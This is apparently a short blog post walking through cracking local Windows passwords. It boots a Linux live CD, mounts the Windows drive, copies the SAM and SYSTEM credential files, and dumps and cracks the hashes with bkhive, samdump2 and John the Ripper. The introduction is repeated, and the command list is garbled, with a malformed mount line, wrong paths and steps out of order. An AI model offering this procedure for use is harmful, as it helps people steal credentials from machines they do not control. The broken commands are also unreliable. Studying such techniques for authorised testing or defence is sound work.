One more post on cracking the windows machine, many knew about this but for those who is not aware of it this will be helpful.
As everyone know the windows saves the local password in a hashed file under the file called SAM which will be located under the folder C:\windows\system32\config and another file called SYSTEM which contains BOOT KEY. you need both these files for breaking a windows password.
Requirement:
Live CD of a Linux distribution preferred Backtrack/Kali if you into ethical Hacking worth using this.
Load the machine you need to crack with the live CD or USB and once you are in terminal window type in the following command.
As everyone know the windows saves the local password in a hashed file under the file called SAM which will be located under the folder C:\windows\system32\config and another file called SYSTEM which contains BOOT KEY. you need both these files for breaking a windows password.
Requirement:
Live CD of a Linux distribution preferred Backtrack/Kali if you into ethical Hacking worth using this.
Load the machine you need to crack with the live CD or USB and once you are in terminal window type in the following command.
- fdisk -l
- mkdir /mnt/windows
- mount -t ntfs-3g /dev/sdb1/mnt/windows
- cd Windows/System32/config
- cp SAM SYSTEM /pentest/passwords/john
- cd /pentest/passwords/john
- samdump2 SAM bootkey
- bkhive SYSTEM bootkey
- cd /pentest/passwords/john > hash.txt
- samdump2 SAM bootkey >crack.txt
- cat crack.txt
- ./john /pentest/passwords/john/crack.txt
No comments:
Post a Comment